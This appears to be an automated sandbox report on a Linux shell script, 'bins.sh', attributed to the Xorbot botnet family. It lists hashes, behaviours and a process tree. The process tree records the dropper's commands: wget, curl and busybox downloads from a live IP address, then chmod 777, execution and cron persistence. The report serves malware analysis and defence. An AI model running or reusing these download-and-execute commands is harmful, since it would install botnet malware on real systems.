Analysis
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max time kernel
149s -
max time network
149s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
02-12-2024 15:07
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
436845a459c71b19ac21070d4569df28
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SHA1
3ae505085c1bad8560b465ce273cbf1acf86e6da
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SHA256
703bc61dabb824da3d539d16dc77e4524c08eda72faa12e17fda26395f4360a8
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SHA512
82c2920b53776fa210d9c01eb1a2ec4a246466b3ffa34de150e6d1e42e1b4045f09e41cd774739dac237208a820cf1df7e9248576acf56ecd32735654c5a16e3
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SSDEEP
192:jo9H3HvHt2qYr7reSUZF6pRVLWW8qiSRVLWW+qiFH3HvHt2qKr7reSwk:jo9XPtF6yqihqiFXPU
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
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Contacts a large (1746) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1515 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg 1516 l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg -
Renames itself 1 IoCs
pid Process 1517 l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.bUYVcA crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/887/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1138/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1731/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1759/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/460/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1666/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1600/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/715/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1525/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1590/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1757/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/21/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/166/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/168/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1160/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1770/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/28/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/78/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1537/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1596/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1633/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/29/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1174/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1531/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1557/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1601/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/668/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1075/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1589/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1641/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1655/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1735/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1073/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1615/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1672/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/15/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/34/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1551/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1594/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1608/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1653/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1724/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/26/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1700/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1776/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/79/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1349/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/182/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1574/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1646/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1536/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1716/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1179/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1570/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/964/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1573/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1612/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1710/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1605/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1682/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1706/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/457/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1526/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1636/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg busybox File opened for modification /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg wget File opened for modification /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1498
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/bin/rm/bin/rm bins.sh2⤵PID:1499
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/usr/bin/wgetwget http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵
- Writes file to tmp directory
PID:1500
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/usr/bin/curlcurl -O http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵
- Writes file to tmp directory
PID:1505
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵
- Writes file to tmp directory
PID:1514
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/bin/chmodchmod 777 l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵
- File and Directory Permissions Modification
PID:1515
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/tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg./l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1516 -
/bin/shsh -c "crontab -l"3⤵PID:1518
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/usr/bin/crontabcrontab -l4⤵PID:1519
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/bin/shsh -c "crontab -"3⤵PID:1520
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1521
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/bin/rmrm l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵PID:1523
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/usr/bin/wgetwget http://216.126.231.240/bins/U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl2⤵PID:1526
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
210B
MD55e5dc02dc51cb1d684b9a0185924ab84
SHA1f5407d4973b9355587cdf9e46b3c9d06d1a79653
SHA2569fdb404f7bcb45d6466b6ef11199b40ce8e77788b942ccae5caff77ca2cc3cff
SHA5123c1c7b9a6db94510bdaab9e13ed3d923c2e173ce9f076a26c4be0d4decb697ff3e4b7df8133955f6deaf053c941df5742d0a50dcbc3b90b057295ae442fdb26c